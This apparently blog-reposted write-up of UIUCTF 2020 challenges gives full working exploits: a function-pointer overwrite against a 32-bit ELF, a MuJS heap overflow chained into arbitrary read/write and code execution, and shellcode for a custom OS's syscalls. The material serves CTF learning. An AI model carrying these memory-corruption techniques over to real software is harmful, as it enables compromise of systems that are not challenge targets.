UIUCTF 2020 Writeup
2020-07-20 15:36:19 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:244 收藏

I played UIUCTF 2020, which had been held from July 18th 00:00 UTC for about 48 hours, in zer0pts and we reached 5th place.

f:id:ptr-yudai:20200720112256p:plain

The overall difficulty was hard but many challenges I solved were fun as well. I mainly worked on pwn and kernel tasks.

Here is my solvers for some tasks:

bitbucket.org

Other members' writeup:

furutsuki.hatenablog.com

st98.github.io

We're given a 32-bit ELF. PIE is disabled.

$ checksec -f accounting
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   94 Symbols     Yes      0               12      accounting

The program asks for a name of an item and price of four items.

$ ./accounting 
[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {0x8048878}
[NookAccounting]: Added "Apples" with cost of 10 bells to accounting spreadsheet.
[NookAccounting]: Added "Fancy Seashells" with cost of 20 bells to accounting spreadsheet.
[NookAccounting]: Added "Tom Nook Shirts" with cost of 30 bells to accounting spreadsheet.
[NookAccounting]: Added "Airplane Ticket" with cost of 40 bells to accounting spreadsheet.
[NookAccounting]: Added "ATM Repairs" with cost of 50 bells to accounting spreadsheet.
[Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it?
Item: AAAAAAAA
[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!
[NookAccounting]: Added "AAAAAAAA
" with cost of 25 bells to accounting spreadsheet.

[Isabelle]: Ohmyheck! I dont know how much "Shrub Trimming" costs. Can you tell me?
Shrub Trimming Cost: 123
...

As you can understand from the output above, our goal is to call the function located at 0x8048878.

Vulnerability

Let's first check the function in which it asks for the name of the item.

f:id:ptr-yudai:20200720113631p:plain

It accepts 0x15 bytes by fgets, where var_110 is the variable of Item structure. Item structure looks like the following. (I didn't analyze the structure completely but this is enough.)

typedef struct {
  int price;
  void *treeLeft;
  void *treeRight;
  int unk3;
  char name[0x10];
  void *function;
} Item;

It's obvious that we can overwrite the function pointer. However, only one function pointer of the inserted items will be called. So, which one is called?

Plan

I'm not familiar with data structure but the items are stored in AVL tree according to a team member @keymoon. This program uses the price of the items to "balance" the tree. In the beginning of the program, it inserts 6 items with price set to 10, 20, 30, 40, 50, 25 respectively in this order. The item with price 25 is the victim whose function pointer can be overwritten. The tree looks like this after the 6 insertion.

f:id:ptr-yudai:20200720114642p:plain

We can insert four items with arbitrary price after that. So, our goal is to make the node with price 25 be the top of the tree because the function pointer of the top node will be called. [@keymoon] immediately calculated it and found out inserting 24, 26, 27, 5 would achieve this. In fact, the tree after these insertion will be like this:

f:id:ptr-yudai:20200720115225p:plain

Exploit

Now, it's clear. We just have to overwrite the function pointer and insert the 4 items.

from ptrlib import *


sock = Socket("chal.uiuc.tf", 2001)

sock.sendlineafter("Item: ", b"A" * 0x10 + p32(0x8048878))
sock.sendlineafter("Cost: ", "24")
sock.sendlineafter("Cost: ", "26")
sock.sendlineafter("Cost: ", "27")
sock.sendlineafter("Cost: ", "5")

sock.interactive()

This is a JS pwn challenge. We're given the modified version of MuJS source code.

There're some changes on the source code:

  1. The type of some integers in Array.prototype.join are changed from int to uint16_t
  2. New object DataView is available
  3. It uses own memory allocator instead of the usual ptmalloc
  4. New object Challenge is available (This checks our exploit)

Unlike normal JS pwn tasks, the goal of this challenge is not to get the shell but to make stable AAR/AAW/ACE primitives.

Vulnerability

The vulnerability lies in the first change. Let's find out how to abuse it.

The definition of Array.prototype.join (Ap_join) is written in jsarray.c.

static void Ap_join(js_State *J)
{
    char * volatile out = NULL;
    const char *sep;
    const char *r;
    int seplen;
    uint16_t k, n, len;

    len = js_getlength(J, 0);

    if (js_isdefined(J, 1)) {
        sep = js_tostring(J, 1);
        seplen = strlen(sep);
    } else {
        sep = ",";
        seplen = 1;
    }

    if (len == 0) {
        js_pushliteral(J, "");
        return;
    }

    if (js_try(J)) {
        js_free(J, out);
        js_throw(J);
    }

    n = 1;
    for (k = 0; k < len; ++k) {
        js_getindex(J, 0, k);
        if (js_isundefined(J, -1) || js_isnull(J, -1))
            r = "";
        else
            r = js_tostring(J, -1);
        n += strlen(r);

        if (k == 0) {
            out = js_malloc(J, n);
            strcpy(out, r);
        } else {
            n += seplen;
            out = js_realloc(J, out, n);
            strcat(out, sep);
            strcat(out, r);
        }

        js_pop(J, 1);
    }

    js_pushstring(J, out);
    js_endtry(J);
    js_free(J, out);
}

I focused on the following lines:

     n += strlen(r);

        if (k == 0) {
            out = js_malloc(J, n);
            strcpy(out, r);
        } else {
            n += seplen;
            out = js_realloc(J, out, n);
            strcat(out, sep);
            strcat(out, r);
        }

Since the type of n is uint16_t, it may cause integer overflow. Assume current n is very large like 0xffff, then n += seplen will cause overflow and very small value will be passed to js_realloc. If the length of sep or r is pretty large compared to the overflowed n, the next strcat will cause heap overflow!

Plan

This challenge doesn't provide the binary unlike normal pwn tasks. Also, our exploit need to be working on 5 binaries that are running on x86-64 or AARCH64 and are compiled with various compile options. So, this challenge required not only the skill to write exploit but also the skill to make the exploit reliable.

Fortunately, the self-made memory allocator fills the gap between the different architectures. We don't need to care about the malloc hell. (This is pretty natural for JS pwn like v8 or jsc!)

Memory Allocator

Before abusing the vulnerability, we need to know how the memory allocator of this engine works. The allocator is very similar to SLAB of the linux kernel.

void initialize_allocator() {
    zones[0].allocation_size = 0x10;
    zones[0].limit = 0x100000;

    zones[1].allocation_size = 0x30;
    zones[1].limit = 0x100000;

    zones[2].allocation_size = 0x80;
    zones[2].limit = 0x100000;

    zones[3].allocation_size = 0x100;
    zones[3].limit = 0x100000;

    zones[4].allocation_size = 0x200;
    zones[4].limit = 0x100000;

    zones[5].allocation_size = 0x400;
    zones[5].limit = 0x100000;

    zones[6].allocation_size = 0x800;
    zones[6].limit = 0x100000;

    for (int i = 0; i < NUM_ZONES; i++) {
        zones[i].base = mmap_memory_for_zone(zones[i].limit);
    printf("zone for 0x%x: %p\n", zones[i].allocation_size, zones[i].base);
        free_list_t* prev = NULL;
        for (int j = 0; j < zones[i].limit / zones[i].allocation_size; j++) {
            free_list_t* curr = (free_list_t*)(zones[i].base + (zones[i].allocation_size * j));
            curr->next = prev;
            prev = curr;
        }
        zones[i].free_list_head = prev;
    }
}

It has linked lists for some size from 0x10 to 0x800. (Above 0x800 will be allocated by malloc.) The allocator returns a chunk that is appropriate for the requested size. Each freed chunk has next pointer in the beginning like SLAB and there's no header like ptmalloc.

The chunk list of each size is named "zone" in the source code.

f:id:ptr-yudai:20200720122128p:plain

In the figure above, you can see that the first 3 chunks are freed and linked. The chunks higher than 0x7fa7d0a10410 are in use in the figure.

We can use this allocator for writing a stable exploit as the structure is common for every architecture.

MuJS Object

Thanks to another MuJS challenge from 0CTF/TCTF 2020, I knew about the JSObject of MuJS to some extent. It's defined in jsvalue.h.

struct js_Object
{
    enum js_Class type;
    int extensible;
    js_Property *properties;
    int count; 
    js_Object *prototype;
    union {
        int boolean;
        double number;
        struct {
            const char *string;
            int length;
        } s;
        struct {
            int length;
        } a;
        struct {
            js_Function *function;
            js_Environment *scope;
        } f;
        struct {
            const char *name;
            js_CFunction function;
            js_CFunction constructor;
            int length;
        } c;
        js_Regexp r;
        struct {
            js_Object *target;
            js_Iterator *head;
        } iter;
        struct {
            const char *tag;
            void *data;
            js_HasProperty has;
            js_Put put;
            js_Delete delete;
            js_Finalize finalize;
        } user;
        struct {
            uint32_t length;
            uint8_t* data;
        } dataview;
    } u;
    js_Object *gcnext; 
    js_Object *gcroot; 
    int gcmark;
};

What's unique to MuJS is that even the element of an array is described as property of the object. This means there's no actual array on the memory unlike V8, JSC and so on. When it evaluates something like arr[0], it actually referes arr.0!! This weird spec makes it hard to abuse type confusion in MuJS.

DataView

New object named DataView is added in this challenge. We can use it like in this way:

a = DataView(0x10);
a.setUint32(0, 0xdeadbeef);
print(a.getUint8(0)); 

It's similar to ArrayBuffer. The buffer for DataView is also allocated by the new SLAB-like allocator. Each DataView object has the size and the pointer to the buffer.

struct {
    uint32_t length;
    uint8_t* data;
} dataview;

This is very useful because there's no object that can be "dynamically" modified in normal MuJS. So, we can get AAR/AAW primitives by somehow overwriting the dataview.data.

Corrupting Heap

As I explained, the vulnerability is heap overflow by strcat. Each chunk doesn't have its header fortunately and we can overwrite the link of the "free list." Our goal is to make a DataView buffer overlapped with a DataView object. In this way, we can overwrite dataview.data of a DataView object, which will drop AAR/AAW primitives.

The size of JSObject is 0x80 and I didn't want to corrupt the link of zone 0x80. I tried to abuse zone 0x10 and leaked the base address of zone 0x10. As it relied on the offset between two mmaped addresses, it didn't work on any of the remote binaries, let alone AARCH64. So, I changed my plan to write an exploit that reliably corrupt the link of zone 0x80 and causes overlap.

First of all, we need to corrupt the linked list of a zone. I used off-by-null of strcat to set the most least byte of the freed list. The list goes from higher address to lower address in default like this:

+-----------+
|           |
| freed 2   |
|           |<-+
+-----------+  |
|           |--+
| freed 1   |
|           |<-+
+-----------+  |
|           |--+
| list top  |
|           |
+-----------+

In order to abuse off-by-null, we have change the order to something like this because the next chunk of top must be freed:

+-----------+
|           |
| list top  |
|           |--+
+-----------+  |
|           |<-+ 
| freed 1   |
|           |---->
+-----------+

I wrote a function to "Heap Feng Shui."

function f1(n) {
    var a = DataView(n);
    a.setUint32(8, 0xdead0001);
    return a;
};
function fengshui_80() {
    var a = f1(0x80);
    f1(0x80);
    gc();
    return a;
}

We have to fill the freed chunk holes before calling it.

    var spray = [];
    for(var i = 0; i < 0x180; i++) {
        spray.push(DataView(0x80));
    }

And then cause off-by-null.

var sep = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
var a = [12345678,123];
a.length = 0x1fa;
a.join(sep);

The free list top of zone 0x80 looks like this after corrupting it:

f:id:ptr-yudai:20200720141429p:plain

You can see that there's an infinite link in the two freed chunks due to off-by-null. After that, I created a DataView buffer that overlaps with a DataView object.

function swap_top() {
    f1(0x20);
    var a = f1(0x20);
    gc();
}
...
    var dummy = DataView(0x20);
    evil = DataView(0x80);
    swap_top();
    gc();
    victim = DataView(0x80);

Now, the buffer of evil points to the object of DataView.

AAR/AAW

AAR/AAW is done. We can just manipulate the evil and victim objects.

    


    var address = Challenge.read();
    
    for(var j = 0; j < 8; j++) {
        evil.setUint8(0x28 + j, byteAt(address, j)); 
    }
    var SECRET = victim.getUint32(0);
    

    


    var address = Challenge.write();
    
    for(var j = 0; j < 8; j++) {
        evil.setUint8(0x28 + j, byteAt(address, j));
    }
    victim.setUint32(0, SECRET);

ACE

What about Code Execution primitive?

Unlike famous JS engines, MuJS doesn't support JIT compiler/WebAssembly and we can't simply abuse rwx region. Also, we can't use the function pointers in the binary as we don't have the binary working on remote.

I thought there must be some function pointers for builtin functions such as gc or print and I looked for them using gdb.

f:id:ptr-yudai:20200720142239p:plain

Yes, there it is!

In order to make my exploit reliable, I wrote a script that explores this builtin object by checking if

  • The type of the object is function
  • The name of the function is "gc" (or "print")
    for(var address = zone80_base + 0x100000 - 0x80; address > zone80_base; address -= 0x80) {
        for(var j = 0; j < 8; j++) {
            evil.setUint8(0x28 + j, byteAt(address, j));
        }
        if (victim.getUint32(0) == 5 && victim.getUint32(4) == 1) {
            
            var name_low = victim.getUint32(0x20);
            var name_high = victim.getUint32(0x24);
            
            
            
            evil.setUint32(0x28, name_low);
            evil.setUint32(0x28 + 4, name_high);
            
            if (victim.getUint16(0) == 0x6367) { 
                
                address += 0x28;
                break;
            }
        }
        gc();
    }

Be noticed that we have the base address of zone 0x80 as we can read the dataview.data of DataView(0x80).

Now, we can simply overwrite the function pointer with AAW to get ACE!

Exploit

Taken togather, my exploit abuses off-by-null in Array.prototype.join to make AAR/AAW and then ACE.

function byteAt(x, i) {
    if (i*2 >= x.toString(16)) return 0;
    if (i == 0) {
        return parseInt(x.toString(16).slice(-2), 16);
    } else {
        return parseInt(x.toString(16).slice(-2 * (i+1), -2 * i), 16);
    }
}

function f1(n) {
    var a = DataView(n);
    a.setUint32(8, 0xdead0001);
    return a;
};
function fengshui_80() {
    var a = f1(0x80);
    f1(0x80);
    gc();
    return a;
}
function swap_top() {
    f1(0x20);
    var a = f1(0x20);
    gc();
}

var evil;
var victim;

function overlap() {
    


    var sep = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    var a = [12345678,123];
    a.length = 0x1fa;
    var spray = [];
    for(var i = 0; i < 0x180; i++) {
        spray.push(DataView(0x80));
    }
    gc();
    fengshui_80();
    a.join(sep);
    gc();
    readline();
    var dummy = DataView(0x20);
    evil = DataView(0x80);
    swap_top();
    gc();
    victim = DataView(0x80);
}

function main() {
    


    overlap();

    
    gc();

    
    var ptr_low = evil.getUint32(0x28);
    var ptr_high = evil.getUint32(0x28 + 4);
    var zone80_base = parseInt(ptr_high.toString(16) + ("00000000" + ptr_low.toString(16)).slice(-8), 16) - 0xe7300;
    

    


    var address = Challenge.read();
    
    for(var j = 0; j < 8; j++) {
        evil.setUint8(0x28 + j, byteAt(address, j)); 
    }
    var SECRET = victim.getUint32(0);
    

    


    var address = Challenge.write();
    
    for(var j = 0; j < 8; j++) {
        evil.setUint8(0x28 + j, byteAt(address, j));
    }
    victim.setUint32(0, SECRET);

    


    for(var address = zone80_base + 0x100000 - 0x80; address > zone80_base; address -= 0x80) {
        for(var j = 0; j < 8; j++) {
            evil.setUint8(0x28 + j, byteAt(address, j));
        }
        if (victim.getUint32(0) == 5 && victim.getUint32(4) == 1) {
            
            var name_low = victim.getUint32(0x20);
            var name_high = victim.getUint32(0x24);
            
            
            
            evil.setUint32(0x28, name_low);
            evil.setUint32(0x28 + 4, name_high);
            
            if (victim.getUint16(0) == 0x6367) { 
                
                address += 0x28;
                break;
            }
        }
        gc();
    }
    var value = Challenge.exec();
    
    
    for(var j = 0; j < 8; j++) {
        evil.setUint8(0x28 + j, byteAt(address, j));
    }
    var target_low = victim.getUint32(0);
    var target_high = victim.getUint32(4);
    for(var j = 0; j < 8; j++) {
        victim.setUint8(j, byteAt(value, j));
    }
    
    gc(); 
    victim.setUint32(0, target_low);
    victim.setUint32(4, target_high);
    print(Challenge.getFlag());
    

    
    evil.setUint32(0x28, ptr_low);
    evil.setUint32(0x28 + 4, ptr_high);

    return;
}

main();

This exploit works with very high probability on all of the 5 remote binaries. It was hard and time-consuming but also a really fun challenge.

I solved this challenge with an unintended solution so I'm not going to write the detail for this one. We're given a pcap file named challenge.pcap which contains lots of plain TCP packets. In each connection the client sends a json object like this:

{"data": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAsLCwsMCwwODgwREhASERkXFRUXGSYbHRsdGyY6JCokJCokOjM+Mi8yPjNcSEBASFxqWVRZaoFzc4GimqLT0/8BEBAQEhISGBoaGCEjHyMhMCwpKSwwSTQ4NDg0SW9FUUVFUUVvYndhWmF3YrGLe3uLscyroqvM993d9//////////CABEIAMgAyAMBIQACEQEDEQH/xAAaAAACAwEBAAAAAAAAAAAAAAADBAECBQAG/9oACAEBAAAAALi80xZxhtzix3daKwpcgaPZ9ZPNpCI0u51zL2WjN2ZFWLtwjfTVLbPJPK6da0qGCSvagTmNweLOkgdJWzXLM5Ta43LbGWhOi4cqpVKTPVzmmcRTV9N3lDLLF1btyumlfdWaSpwlHnAFAe3Vamhg8qwouizWJb6/VHa6jLnLFTY08xddPRMA1wsqiRbvLLyq4dfhDVG+sgOW6VXnSvM8+vyZWGRJdfC0RaVmqZZ827lzmryppv1UkgaVJjSTmdXma067NAitQaC2kuGU9mIFmH1Jgk6QgQMjArRYfZygy6PmialOYJNKdp37s0L2e3n0kWh4v0HsEBlrzRR8/Kc8PmE6FVbxD6zUyYUVKt0iWaiLFvULHlO4az9Y4ge66zgtYIu4EW3L9XK173v3T1kYZvS1YWWcsS1fO6hzW645vTo7h9RHze56Ic1CkcpLSGRhZorYMz2RiervLORmMOmeLc6oW86T9NKOYalQvrwdu9GudAJ7OpWqx3pxUGJLLQK3YWCZ0LWfWgTU3MsWS5xi25q4QHpY9rZy1dXFKUiLxbt5miClUKkaKi+iGKpFdB//xAAYAQADAQEAAAAAAAAAAAAAAAABAgMABP/aAAgBAhAAAACTzcqyvtzdUmAWPUhbHKUpyPRKsjSrN34hdyccOW9Igl0o2Uk5YWYTak2xwg7HEzYzbBloMUy00qzZ1bIVYpSVMrGenfYYjE81VqcARN3i4ZaSL4B5kgLQzc7BS4h0KUfQas7qQmbHI0b47ko1DlVlpjIUZGGRiZuCFZ003JXB8EJIbct353oELY7n6MiO2x2yF1nHqBDEDOi8l3WjYKzgL//EABcBAQEBAQAAAAAAAAAAAAAAAAABAgP/2gAIAQMQAAAA1KWWKlll7cbJqJbGsU1ES1LAXLTOolJC6xaELLFEoIKBnUAKgUzaELG8yxUaiUTUIsoFkVUmsqNue8SlCM6EtRUomsqhYKBNIsItksdebTLWYO3KN5lsBFuaIGs6TeELB//EACgQAAICAgICAQQCAwEAAAAAAAECAAMREgQTFCEiBRAVMSNBJ"}

The decoded result was a JPEG file. However, most of the data except for the beginning are not JPEG. Then I realized that the client sends several splitted JPEG files in pararell.

I was looking for a way to re-construct the JPEG files by cheking if a merged JPEG file is "properly" corrupted but eventually gave up. While trying many techniques, I found one of the image (images are corrupted but can be seen with very low-quality) looked like text while others looked landscape or some pictures. So, I picked up that one and merged with the other 300 base64 data and decoded into JPEG file.

Then, I could see the beginning of the text in some of the decoded images. In this way, I picked up the most ”plausible” one among about 300 images one by one and finally re-constructed the original image.

We're given a tiny assembly code.

// gcc -m32 cricket32.S -o cricket32

.text
str_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n"
str_yes:   .string "Flag is correct! Good job!\n"
str_nope:  .string "Flag is not correct.\n"

.global main
main:
mov $str_usage, %ebx
xor %esi, %esi
xor %edi, %edi
mov $2, %ecx
sub $0x10, (%esp, %ecx, 2)

push %ebp
mov %esp, %ebp
not %ebp
mov 12(%esp), %ecx
cmp $'W, (%ebx, %esi, 8)
xor %ebp, %ebp
rclb %cl, %dh
add $14, 8(%esp)
jnz 1f
aaa
aaa
aaa
decl %ebp
and $-1, %al
mov 4(%ecx), %esi
incl %ebp
mov (%esi, %ebp, 1), %al
xchgl %eax, %eax
mov $0x6cb4001b, %ebx
add %al, %al
jne .-12
jmp .+10

mov (%ecx, %ebx, 8), %esi
mov (%ebx, %ecx, 4), %esi
div %ah
sub $26, %ebp
mov %esp, %ebx
xlat
xlat
sahf
dec %ebp
mov %ah, %dh
jge .+15
orw $-1, %ax
lea (%edx, %ebp, 4), %ebp
jns .-7
lea (%eax), %eax
jl .+14
mov $8, %ecx
mov $.-'Z, %ebx
loop .+9
mov $str_nope, %ebx
jmp 1f

mov (%ebx), %dx
bswap %edx
mov 4(%ebx), %dx
xchg %dh, %dl
add $13, %ebx
crc32l (%esi), %edx
xor (%esi), %edx
or %edx, %edi
lahf
add $4, %esi
loop .-27
btc $14, %eax
mov $str_yes, %ebx
jnc .-'A
pop %ebp
mov %ebx, 4(%esp)
jmp printf

As I analyzed the code, I found some instructions in the code are actually not necessary. I re-wrote the code with comment.

// gcc -m32 cricket32.S -o cricket32
.text
str_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n"
str_yes:   .string "Flag is correct! Good job!\n"
str_nope:  .string "Flag is not correct.\n"

.global main
main:
  mov $str_usage, %ebx
  xor %esi, %esi
  xor %edi, %edi

  mov 8(%esp), %ecx             // ecx = argv
  xor %ebp, %ebp
  rclb %cl, %dh
  cmpl $2, 4(%esp)
  jnz __printf                  // if (argc != 2) goto print_and_exit
  decl %ebp
  mov 4(%ecx), %esi             // esi = argv[1]

  // Current register roles:
  //  ebp: counter (-1)
  //  edi: 0
  //  esi: argv[1] pointer
strlen: 
  incl %ebp
  mov (%esi, %ebp, 1), %al
  test %al, %al
  jne strlen
  // Now ebp = strlen(argv[1])

  sub $26, %ebp
  mov %esp, %ebx
  // [0]
  xlat
  xlat
  // ah -> eflags
  sahf
  dec %ebp
  mov %ah, %dh
  jge lenOK    // strlen(flag) >= 27
  // len(flag) should be in [27, 32]

fail: 
  mov $-1, %eax
  jl wrong

  // Flag length check is done
lenOK: 
  mov $8, %ecx
  mov $.-'Z, %ebx
  loop check

wrong:  
  mov $str_nope, %ebx
  jmp __printf

  // Current register roles:
  //  ecx: counter (8)
  //  edi: 0
  //  esi: argv[1] pointer
check:  
  mov (%ebx), %dx
  bswap %edx
  mov 4(%ebx), %dx
  xchg %dh, %dl
  add $13, %ebx
  crc32l (%esi), %edx
  xor (%esi), %edx
  or %edx, %edi
  lahf
  add $4, %esi
  loop check
correct:
  btc $14, %eax
  mov $str_yes, %ebx

__printf: 
  mov %ebx, 4(%esp)
  jmp printf

The first half part of the program is just a length check, which ensures the length of argv[1] is greater than 26. There is a strange code after lenOK label.

mov $.-'Z, %ebx

This line stores the address of main+16 to ebx. ebx is later used in the check loop.

check:  
  mov (%ebx), %dx
  bswap %edx
  mov 4(%ebx), %dx
  xchg %dh, %dl
  add $13, %ebx
  crc32l (%esi), %edx
  xor (%esi), %edx
  or %edx, %edi
  lahf
  add $4, %esi
  loop check

That's why there are many unnecessary instructions in the code. It uses parts of the machine code as seed of CRC32. The overview of this loop looks like this:

result = 0
for i in range(0, len(flag), 4):
  uint32_t v;
  addr = main + 16;
  v = 0;
  v |= *(uint8_t*)(addr + 0) << 24;
  v |= *(uint8_t*)(addr + 1) << 16;
  v |= *(uint8_t*)(addr + 4) << 8;
  v |= *(uint8_t*)(addr + 5) << 0;
  addr += 13;
  result |= xor(flag[i:i+4], crc32(init=v, flag[i:i+4]));

result corresponds to rdi in the original code. At first glance it seems rdi is not used anywhere. However, the or instruction changes the flag register and it affects ah register due to the lahf instruction. So, we have to keep rdi 0 for every iteration.

Our goal is to find CRC32 quine. @theoremoon wrote the following C code to find the CRC32 values.

#include <stdint.h>
#include <stdio.h>

uint32_t crc_table[256];

void make_crc_table(void)
{
  uint32_t c;
  int n, k;
  for (n = 0; n < 256; n++) {
    c = (uint32_t) n;
    for (k = 0; k < 8; k++) {
      if (c & 1)
        c = 0x82F63B78 ^ (c >> 1);
      else
        c = c >> 1;
    }
    crc_table[n] = c;
  }
}

uint32_t update_crc(uint32_t crc, uint32_t x)
{
  uint32_t c = crc;
  int n;
  unsigned char *buf = (unsigned char*)&x;
  int len = 4;

  for (n = 0; n < len; n++) {
    c = crc_table[(c ^ buf[n]) & 0xff] ^ (c >> 8);
  }
  return c;
}


int main() {
  make_crc_table();

  
  if (update_crc(0x41414141, 0x4c10e5f7) != 0x3041b597U) {
    printf("error\n");
    return 1;
  }

  uint32_t seeds[] = {
      0x4c10e5f7,
      0xf357d2d6,
      0x373724ff,
      0x90bbb46c,
      0x34d98bf6,
      0xd79ee67d,
      0xaa79007c,
      0xcc05e207,
  };

  for (uint8_t si = 0; si < 8; si++) {
    for (uint32_t i = 0; i < 4294967295U; i++) {
      uint32_t r = update_crc(seeds[si], i);
      if (i == r) {
        printf("seed=%x, value=%x(%s)\n", seeds[si], i, (unsigned char*)&i);
      }
    }
  }
}

Be noticed that the implementation of CRC32 in Intel CPU is different from that of python.

We can access to the server with the given VNC credential.

f:id:ptr-yudai:20200720150937p:plain

I was surprised that they wrote this OS for this CTF :o

Anyway we need to find the password of user sandb0x. The challenge description says the first character of the password is "p" and it consists of 4 characters.

When you enter "a" for the password, the login screen immediately shows "Incorrect Password!" message. However, when you type "p," it takes about 0.5 sec until it shows the message. So, it's obvious that time-based leak is required.

When I solved this challenge, however, I didn't write the script to find the password. I accidentally found "w" was the second character and guessed the password "pwny" and it was accepted. Unintended solution...?

I needed a way to automatically send my payload through VNC. I used xdotool to emulate key events.

import time
import os

os.system("make")
with open("shellcode.bin", "rb") as f:
    payload = f.read().hex()


print(payload)
time.sleep(3)
os.system(f"xdotool type --delay 120 '{payload}'")

I sent this script to ModMail and got the flag.

Just run system call 14 as the instruction says.

mov eax, 14
int 0x80
ret

When I was playing with some system calls, I found ecx register was different before and after calling the system call. As the value of ecx (=0x400000) was 4MB aligned, I thought it might be the base address.

mov ebx, 0x400000
mov eax, 14
int 0x80
ret

This dropped the flag :)

By the way, link-time kASLR is not kASLR, right...?

My "intuition" told me to call open system call twice and read them separately and I could leak the flag.

bits 32
  
global _start
section .text
_start:
  
  mov ebp, 0x0804e0a0
  lea ebx, [ebp + path]
  mov eax, 2
  int 0x80
  push eax
  
  lea ebx, [ebp + path]
  mov eax, 2
  int 0x80
  
  mov edx, 0x100
  lea ecx, [ebp + data]
  push ecx
  mov ebx, eax
  mov eax, 4
  int 0x80
  
  mov edx, 0x100
  pop ecx
  push ecx
  xor ebx, ebx
  mov eax, 5
  int 0x80
  
  pop ecx
  pop ebx
  push ecx
  mov eax, 4
  int 0x80
  
  pop ecx
  xor ebx, ebx
  mov eax, 5
  int 0x80
  ret

path:
  db "/sandb0x/freaky_fds.txt"
data:
  db 0

Only one trial lol

After solving "Freaky File Descriptors" I found I could leak its flag in the following way.

f:id:ptr-yudai:20200720145432p:plain

I reported this bug and got the Small Oops flag.


文章来源: https://ptr-yudai.hatenablog.com/entry/2020/07/20/153619
如有侵权请联系:admin#unsafe.sh